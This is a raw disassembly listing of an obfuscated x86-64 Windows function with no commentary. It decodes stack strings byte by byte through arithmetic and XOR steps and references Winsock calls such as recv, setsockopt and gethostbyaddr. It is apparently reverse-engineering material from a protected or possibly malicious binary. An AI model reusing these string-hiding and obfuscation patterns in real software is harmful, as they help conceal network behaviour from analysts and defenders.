lea esi, [r8 + rcx]
sub sil, 0x55
jmp 0x14018f3c6
lea edx, [r11 + 0x20]
mov ecx, reloc.WS2_32.dll_recv
movzx eax, r8b
and al, dl
sub cl, al
lea esi, [rcx + rcx]
add sil, r8b
add sil, dl
jmp 0x14018fb76
lea ecx, [r11 + 0x56]
movzx eax, r8b
and al, cl
add al, al
sub r8b, al
lea esi, [rcx + r8]
mov rcx, r13
sub sil, 0x5a
movzx eax, sil
sub rcx, rax
add r11, rcx
inc r11
jmp 0x14018f3b3
mov ecx, reloc.WS2_32.dll_shutdown
lea edx, [r11 - 0x74]
movzx eax, r8b
and al, dl
sub cl, al
lea esi, [rcx + rcx]
add sil, r8b
jmp 0x14018fcb6
lea edx, [r11 - 0x3e]
movzx eax, r8b
and al, dl
movzx esi, r8b
add al, al
sub sil, al
sub sil, 0x4e
add sil, dl
jmp 0x14018fce0
lea edx, [r11 - 8]
movzx eax, r8b
and al, dl
mov ecx, 0x1c
sub cl, al
movzx eax, byte [rbp + r11 + 0x491]
add rax, r10
add r11, rax
lea esi, [rcx + rcx]
add sil, r8b
add sil, dl
inc r11
jmp 0x14018f3b3
lea edx, [r11 - 0x4b]
movzx eax, r8b
and al, dl
movzx esi, r8b
add al, al
sub sil, al
add sil, 0xd
add sil, dl
cmp r10, 0x42
jb 0x14018fb20
movzx ecx, r8b
movzx ebx, r11b
movzx eax, r8b
lea edx, [rbx + 0x3e]
and al, dl
add al, al
sub cl, al
add cl, dl
lea esi, [rcx*2 - 0x64]
jmp 0x14018fc6b
lea edx, [r11 - 0x15]
movzx eax, r8b
and al, dl
movzx esi, r8b
add al, al
sub sil, al
sub sil, 0x6d
add sil, dl
cmp r9, 0x5a
jae 0x14018fb30
lea rax, [r10 + 0x42]
cmp r9, rax
jbe 0x14018fa33
lea edx, [r11 + 0x5a]
movzx eax, r8b
and al, dl
movzx esi, r8b
add al, al
sub sil, al
sub sil, 0x76
jmp 0x14018f6c9
lea edx, [r11 + 0x21]
movzx eax, r8b
and al, dl
movzx esi, r8b
add al, al
sub sil, al
add sil, 0x19
add sil, dl
lea rax, [r9 + r10]
cmp rax, 0x3e8
je 0x14018fb8e
lea rax, [r10 + 9]
cmp r9, rax
jbe 0x14018f94b
lea edx, [r11 - 0x6f]
movzx eax, r8b
and al, dl
movzx esi, r8b
add al, al
sub sil, al
add sil, 9
jmp 0x14018f711
lea edx, [r11 - 0x72]
mov ecx, reloc.WS2_32.dll_ntohs
movzx eax, r8b
and al, dl
sub cl, al
lea esi, [rcx + rcx]
add sil, r8b
add sil, dl
jmp 0x14018fb76
lea edx, [r11 - 0x3c]
movzx eax, r8b
and al, dl
movzx esi, r8b
add al, al
movzx ebx, r11b
sub sil, al
sub sil, 0x5c
add sil, dl
jmp 0x14018fb55
lea edx, [r11 - 6]
mov ecx, reloc.WS2_32.dll_setsockopt
movzx eax, r8b
dec r11
and al, dl
sub cl, al
lea esi, [rcx + rcx]
add sil, r8b
add sil, dl
inc r11
jmp 0x14018f3b3
lea ecx, [r11 + 0x30]
movzx eax, r8b
and al, cl
inc r10
add al, al
dec r11
sub r8b, al
lea esi, [rcx + r8]
sub sil, 0x50
inc r11
jmp 0x14018f3b3
mov ecx, 0x1b
lea edx, [r11 + 0x66]
movzx eax, r8b
movzx ebx, r11b
and al, dl
sub cl, al
lea esi, [rcx + rcx]
add sil, r8b
jmp 0x14018fc68
lea rax, [r10 + 9]
cmp r9, rax
jae 0x14018f868
lea edx, [r11 - 0x1b]
movzx eax, r8b
and al, dl
movzx esi, r8b
add al, al
sub sil, al
sub sil, 0x43
jmp 0x14018f75b
lea rax, [r10 + 1]
cmp r9, rax
jne 0x14018f8a2
lea edx, [r11 - 0x6e]
movzx eax, r8b
and al, dl
mov ecx, 1
sub cl, al
movzx eax, byte [rbp + r11 + 0x491]
add rax, r10
add r11, rax
lea esi, [rcx + rcx]
add sil, r8b
add sil, dl
inc r11
jmp 0x14018f3b3
inc rax
cmp r9, rax
jne 0x14018f8c9
lea edx, [r11 + 0x5c]
mov ecx, 0x3e
movzx eax, r8b
and al, dl
sub cl, al
lea esi, [rcx + rcx]
add sil, r8b
add sil, dl
jmp 0x14018fce0
lea rax, [r10 + 6]
cmp r9, rax
jne 0x14018f8f4
mov ecx, gethostbyaddr
movzx ebx, r11b
movzx eax, r8b
lea edx, [rbx - 0x7c]
and al, dl
sub cl, al
lea esi, [rcx + rcx]
add sil, r8b
add sil, dl
jmp 0x14018fb55
lea rax, [r10 + 4]
cmp r9, rax
jne 0x14018f91f
lea ecx, [r11 + 0x4e]
movzx eax, r8b
and al, cl
dec r11
add al, al
sub r8b, al
lea esi, [rcx + r8]
sub sil, 0x22
inc r11
jmp 0x14018f3b3
lea rax, [r10 + 2]
cmp r9, rax
jne 0x14018f75e
movzx ebx, r11b
movzx eax, r8b
movzx esi, r8b
lea edx, [rbx - 0x1e]
and al, dl
add al, al
sub sil, al
sub sil, 0x2e
jmp 0x14018fc68
lea rax, [r10 + 1]
cmp r9, rax
jne 0x14018f973
movzx ebx, r11b
movzx eax, r8b
movzx esi, r8b
lea edx, [rbx + 0x5b]
and al, dl
add al, al
sub sil, al
sub sil, 0x7d
jmp 0x14018fc68
lea rax, [r10 + 3]
cmp r9, rax
jne 0x14018f99e
lea ecx, [r11 - 0x11]
movzx eax, r8b
and al, cl
dec r11
add al, al
sub r8b, al
lea esi, [rcx + r8]
add sil, 0x77
inc r11
jmp 0x14018f3b3
lea rax, [r10 + 5]
cmp r9, rax
jne 0x14018f9d3
lea ecx, [r11 + 0x4d]
movzx eax, r8b
and al, cl
add al, al
sub r8b, al
lea esi, [rcx + r8]
mov rcx, r13
sub sil, 0x1b
movzx eax, sil
sub rcx, rax
add r11, rcx
inc r11
jmp 0x14018f3b3
lea rax, [r10 + 4]
cmp r9, rax
jne 0x14018f9f8
lea edx, [r11 + 0x17]
movzx eax, r8b
and al, dl
movzx esi, r8b
add al, al
sub sil, al
add sil, 0x5f
jmp 0x14018fcb6
lea rax, [r10 + 8]
cmp r9, rax
jne 0x14018f714
lea ecx, [r11 - 0x55]
movzx eax, r8b
and al, cl
add al, al
sub r8b, al
movzx eax, byte [rbp + r11 + 0x491]
add rax, r10
add r11, rax
lea esi, [rcx + r8]
add sil, 0x53
inc r11
jmp 0x14018f3b3
lea rax, [r10 + 1]
cmp r9, rax
jne 0x14018fa6d
lea edx, [r11 + 0x24]
movzx eax, r8b
and al, dl
mov ecx, 2
sub cl, al
movzx eax, byte [rbp + r11 + 0x491]
add rax, r10
add r11, rax
lea esi, [rcx + rcx]
add sil, r8b
add sil, dl
inc r11
jmp 0x14018f3b3
inc rax
cmp r9, rax
jne 0x14018fa91
lea edx, [r11 - 0x48]
movzx eax, r8b
and al, dl
movzx esi, r8b
add al, al
sub sil, al
sub sil, 8
jmp 0x14018fcb6
lea rax, [r10 + 3]
cmp r9, rax
jne 0x14018fac9
lea edx, [r11 - 0x7e]
mov ecx, 0x39
movzx eax, r8b
and al, dl
sub cl, al
lea esi, [rcx + rcx]
mov rcx, r13
add sil, r8b
add sil, dl
movzx eax, sil
sub rcx, rax
add r11, rcx
inc r11
jmp 0x14018f3b3
lea rax, [r10 + 5]
cmp r9, rax
jne 0x14018faf1
mov ecx, reloc.WS2_32.dll_gethostbyaddr
movzx ebx, r11b
movzx eax, r8b
lea edx, [rbx + 0x16]
and al, dl
sub cl, al
lea esi, [rcx + rcx]
add sil, r8b
add sil, dl
jmp 0x14018fb55
lea rax, [r10 + 7]
cmp r9, rax
jne 0x14018f6cc
lea ecx, [r11 - 0x20]
movzx eax, r8b
and al, cl
dec r11
add al, al
sub r8b, al
lea esi, [rcx + r8]
sub sil, 0x20
inc r11
jmp 0x14018f3b3
mov byte [rbp + r11 + 0x491], sil
inc r11
jmp 0x14018f3b3
movzx esi, byte [rbp + r11 + 0x491]
movzx ebx, r11b
movzx eax, r8b
lea edx, [rbx + 8]
and al, dl
add al, al
sub sil, al
sub sil, 0x38
add sil, dl
add sil, r8b
sub bl, 0x13
movzx ecx, sil
movzx eax, bl
and al, r8b
add al, al
sub cl, al
sub cl, 0x7b
add cl, bl
add cl, r8b
mov byte [rbp + r11 + 0x491], cl
add r9, r10
movzx eax, sil
mov rcx, r13
sub rcx, rax
add r11, rcx
inc r11
jmp 0x14018f3b3
mov ecx, 0x21
lea edx, [r11 - 0x2e]
movzx eax, r8b
and al, dl
sub cl, al
lea esi, [rcx + rcx]
jmp 0x14018fcb6
lea ecx, [r11 - 0x1d]
movzx eax, r8b
and al, cl
add al, al
sub r8b, al
movzx eax, byte [rbp + r11 + 0x491]
add rax, r10
add r11, rax
lea esi, [rcx + r8]
sub sil, 0x35
inc r11
jmp 0x14018f3b3
lea edx, [r11 + 0x19]
movzx eax, r8b
and al, dl
movzx esi, r8b
add al, al
sub sil, al
add sil, 0x51
add sil, dl
jmp 0x14018fce0
lea edx, [r11 + 0x4f]
movzx eax, r8b
and al, dl
movzx esi, r8b
add al, al
sub sil, al
sub sil, 0x29
jmp 0x14018fcb6
lea ecx, [r11 + 0x27]
movzx eax, r8b
and al, cl
dec r11
add al, al
sub r8b, al
lea esi, [rcx + r8]
sub sil, 0x11
inc r11
jmp 0x14018f3b3
movzx ebx, r11b
movzx eax, r8b
movzx esi, r8b
lea edx, [rbx - 0x6d]
and al, dl
add al, al
sub sil, al
sub sil, 5
jmp 0x14018fc68
movzx ebx, r11b
movzx eax, r8b
movzx esi, r8b
lea edx, [rbx - 1]
and al, dl
add al, al
sub sil, al
add sil, 7
add sil, dl
add bl, 0x23
movzx eax, bl
and al, r8b
add al, al
sub bl, al
add bl, 0xb
add bl, r8b
mov byte [rbp + r11 + 0x491], bl
inc r10
dec r11
inc r11
jmp 0x14018f3b3
movabs rdx, 0xcb3069fed525ea43
movzx esi, bl
add rdx, r11
movzx r8d, bl
movzx eax, dl
and al, bl
add al, al
sub sil, al
add sil, 0x2b
add sil, dl
lea ecx, [r11 - 0x49]
inc r10
movzx eax, cl
and al, r8b
add al, al
sub cl, al
dec cl
add cl, r8b
movzx eax, cl
mov byte [rbp + r11 + 0x491], al
add rax, r10
sub r11, rax
lea ecx, [r11 - 0x64]
inc r9
movzx eax, cl
and al, r8b
add al, al
sub cl, al
mov rax, r13
sub rax, r9
sub cl, 0x44
add cl, r8b
mov byte [rbp + r11 + 0x491], cl
add r11, rax
movzx eax, byte [rbp + r11 + 0x491]
add rax, r10
add r11, rax
inc r11
jmp 0x14018f3b3
movabs rcx, 0xe95de448a47df6af
add rcx, r11
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea esi, [rbx + rcx]
add sil, 0x37
movzx eax, byte [rbp + r11 + 0x491]
add rax, r10
add r11, rax
inc r11
jmp 0x14018f3b3
sub r11b, 7
movzx eax, r8b
and al, r11b
add al, al
sub r8b, al
lea esi, [r11 + r8]
add sil, 0x31
jmp 0x14018f3b0
add r11b, 0x2f
movzx eax, r8b
and al, r11b
add al, al
sub r8b, al
lea esi, [r11 + r8]
sub sil, 0x49
jmp 0x14018f3a0
lea rbx, [rbp + 0x175ee6d]
jmp 0x14018fda6
lea rbx, [rbp + 0x11feb52]
jmp 0x14018fda6
lea rbx, [rbp + 0x491]
lea rcx, [rbp + 0x7f0]
call fcn.140135f90
mov r8, r13
inc r8
cmp byte [rbx + r8], 0
jne 0x14018fdb5
mov rdx, rbx
lea rcx, [rbp + 0x7f0]
call fcn.14013c7a0
lea r8, [rbp + 0x7d0]
mov rcx, rdi
lea rdx, [rbp + 0x7f0]
call fcn.140151ed0
lea rcx, [rbp + 0x7f0]
call fcn.1401358f0
lea rdx, [rbp + 0x120]
lea rcx, [rbp + 0x7d0]
call fcn.14013a6d0
lea rdx, [rbp + 0x128]
lea rcx, [rbp + 0x7d0]
mov rdi, qword [rax]
call fcn.14013a6d0
lea rdx, [rbp + 0x130]
lea rcx, [rbp + 0x7d0]
mov rbx, qword [rax]
call fcn.14013a6f0
lea r9, [0x140187bb0]
mov r8, rbx
lea rcx, [rbp + 0x138]
mov rdx, qword [rax]
call fcn.1401bf6b0
mov r9, rdi
lea rdx, [rbp + 0x140]
lea rcx, [rbp + 0x7d0]
mov r8, qword [rax]
call fcn.1401bf0c0
lea rdx, [rbp + 0x148]
lea rcx, [rbp + 0x7d0]
call fcn.14013a6d0
lea rdx, [rbp + 0x150]
lea rcx, [rbp + 0x7d0]
mov rdi, qword [rax]
call fcn.14013a6d0
lea rdx, [rbp + 0x158]
lea rcx, [rbp + 0x7d0]
mov rbx, qword [rax]
call fcn.14013a6f0
lea r9, [0x140187b90]
mov r8, rbx
lea rcx, [rbp + 0x160]
mov rdx, qword [rax]
call fcn.1401bf6b0
mov r9, rdi
lea rdx, [rbp + 0x168]
lea rcx, [rbp + 0x7d0]
mov r8, qword [rax]
call fcn.1401bf0c0
xorps xmm0, xmm0
lea rcx, [rbp + 0x3c0]
movups xmmword [rbp + 0x3c0], xmm0
call fcn.1401bef00
mov ebx, dword [rbp + 0x7e0]
lea rcx, [rbp + 0x7d0]
xorps xmm0, xmm0
movups xmmword [rbp + 0x3d0], xmm0
call fcn.140135430
test rax, rax
mov dword [rbp + 0x3e8], ebx
lea rcx, [0x140492100]
mov r8, r15
cmovne rcx, rax
lea rdx, [rbp + 0x3e0]
mov qword [rbp + 0x3e0], rcx
lea rcx, [rbp + 0x3d0]
call fcn.1401bf250
cmp byte [rbp + 0x1be], 0
mov rbx, rax
je 0x1401900b4
xor r8d, r8d
cmp dword [0x1404bc010], 2
jl 0x140190065
movdqa xmm2, xmmword [0x140495430]
mov r8d, 8
movdqa xmm3, xmmword [0x140495440]
movdqa xmm1, xmm2
movdqa xmm4, xmmword [0x140495640]
movdqa xmm0, xmm2
mov eax, dword [0x140495530]
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140495460]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1404954d0]
movd xmm1, dword [rbp + 0x1b0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movdqa xmm0, xmm3
xorps xmm2, xmm1
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd dword [rbp + 0x1b0], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140495460]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1404954d0]
movd xmm1, dword [rbp + 0x1b4]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x1b4], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x1b0]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0xf
jl 0x140190080
mov r8, r15
lea rdx, [rbp + 0x1b0]
lea rcx, [rbp + 0x3f0]
call fcn.1401bef50
mov r9, r15
lea rcx, [rbp + 0x3c0]
mov r8, rbx
mov rdx, rax
call fcn.1401bf560
lea rcx, [rbp + 0x3f0]
call fcn.14015a7f0
lea rcx, [rbp + 0x3d0]
call fcn.14015a7f0
mov r8, r15
lea rdx, [rbp + 0x3c0]
lea rcx, [rbp + 0x390]
call fcn.1401bed30
lea rcx, [rbp + 0x3c0]
call fcn.14015a7f0
lea rcx, [rbp + 0x7d0]
call fcn.1401358f0
mov rax, qword [rbp + 0x918]
inc r14d
sub rax, qword [rbp + 0x910]
sar rax, 3
movsxd rbx, r14d
cmp rbx, rax
jb 0x14018f330
movzx eax, byte [rbp + 0xc9c]
test al, al
je 0x140190175
xor byte [rbp + 0xc98], 0x32
xor byte [rbp + 0xc99], 0x33
xor byte [rbp + 0xc9a], 0x34
xor byte [rbp + 0xc9b], 0x35
xor al, 0x36
mov byte [rbp + 0xc9c], al
mov r8, r15
lea rdx, [rbp + 0xc98]
lea rcx, [rbp + 0x400]
call fcn.1401bef50
mov r9, r15
lea r8, [rbp + 0x390]
mov rdx, rax
lea rcx, [rbp + 0x9c0]
call fcn.1401bf560
lea rcx, [rbp + 0x400]
call fcn.14015a7f0
lea rcx, [rbp + 0x390]
call fcn.14015a7f0
lea rcx, [rbp + 0x908]
call fcn.140152450
lea rcx, [rbp + 0x908]
call fcn.140152450
lea rcx, [rbp + 0x7b0]
call fcn.1401358f0
xor r14d, r14d
mov dword [rsp + 0x20], 0
xor edx, edx
mov qword [rbp + 0x1a0], r14
mov r8d, 0x100
mov dword [rbp + 0x1a8], r14d
lea rcx, [rbp + 0x868]
mov byte [rbp + 0x1ac], r14b
mov dword [rbp + 0xc90], r14d
mov byte [rbp + 0xc94], r14b
mov qword [rbp + 0x190], r14
mov dword [rbp + 0x198], r14d
mov dword [rsp + 0x30], r14d
mov word [rsp + 0x34], r14w
mov byte [rsp + 0x36], r14b
mov dword [rsp + 0x28], r14d
mov word [rsp + 0x2c], r14w
mov qword [rbp + 0x180], r14
mov word [rbp + 0x188], r14w
mov byte [rbp + 0x18a], r14b
mov qword [rbp + 0x1b0], r14
mov dword [rbp + 0x1b8], r14d
mov word [rbp + 0x1bc], r14w
mov byte [rbp + 0x1be], r14b
mov dword [rbp + 0xc98], r14d
mov byte [rbp + 0xc9c], r14b
mov word [rsp + 0x24], 0
mov qword [rbp + 0x170], 0
mov word [rbp + 0x178], 0
mov byte [rbp + 0x17a], 0
mov dword [rbp + 0xc88], 0
mov byte [rbp + 0xc8c], 0
call fcn.1401bf3a0
lea rax, [rbp + 0x868]
xor edx, edx
mov r8d, 0x200
mov qword [rbp + 0x980], rax
lea rcx, [rbp + 0x988]
call fcn.1401bf3a0
lea rdx, [rbp + 0x980]
mov dword [rbp + 0x9b8], 0x144
lea rcx, [rbp + 0x9c0]
mov byte [rbp + 0x9bc], r14b
call fcn.1401bf750
mov r15, qword [rsp + 0xd38]
mov r14, qword [rsp + 0xd40]
mov r12, qword [rsp + 0xd48]
mov rsi, qword [rsp + 0xd50]
test al, al
jne 0x1401903be
mov rbx, qword [rbp + 0xc80]
mov rcx, rbx
call fcn.140135f90
xor r8d, r8d
lea rdx, [0x140492100]
mov rcx, rbx
call fcn.14013c7a0
lea rcx, [rbp + 0x980]
call fcn.1401904a0
lea rcx, [rbp + 0x868]
call fcn.140190470
lea rcx, [rbp + 0x1e0]
call fcn.14015a7f0
lea rcx, [rbp + 0x428]
call fcn.1401356e0
lea rcx, [rbp + 0x9c0]
call fcn.1401bea70
lea rcx, [rbp + 0x4f0]
call fcn.1401358f0
lea rcx, [rbp + 0x4d0]
call fcn.1401358f0
lea rcx, [rbp + 0x4b0]
call fcn.1401358f0
mov rax, rbx
add rsp, 0xd58
pop r13
pop rdi
pop rbx
pop rbp
ret
lea rcx, [rbp + 0x868]
call fcn.1401befd0
mov rdi, qword [rbp + 0xc80]
mov rbx, rax
mov rcx, rdi
call fcn.140135f90
nop dword [rax]
inc r13
cmp byte [rbx + r13], 0
jne 0x1401903e0
mov r8, r13
mov rdx, rbx
mov rcx, rdi
call fcn.14013c7a0
lea rcx, [rbp + 0x980]
call fcn.1401904a0
lea rcx, [rbp + 0x868]
call fcn.140190470
lea rcx, [rbp + 0x1e0]
call fcn.14015a7f0
lea rcx, [rbp + 0x428]
call fcn.1401356e0
lea rcx, [rbp + 0x9c0]
call fcn.1401bea70
lea rcx, [rbp + 0x4f0]
call fcn.1401358f0
lea rcx, [rbp + 0x4d0]
call fcn.1401358f0
lea rcx, [rbp + 0x4b0]
call fcn.1401358f0
mov rax, rdi
add rsp, 0xd58
pop r13
pop rdi
pop rbx
pop rbp
ret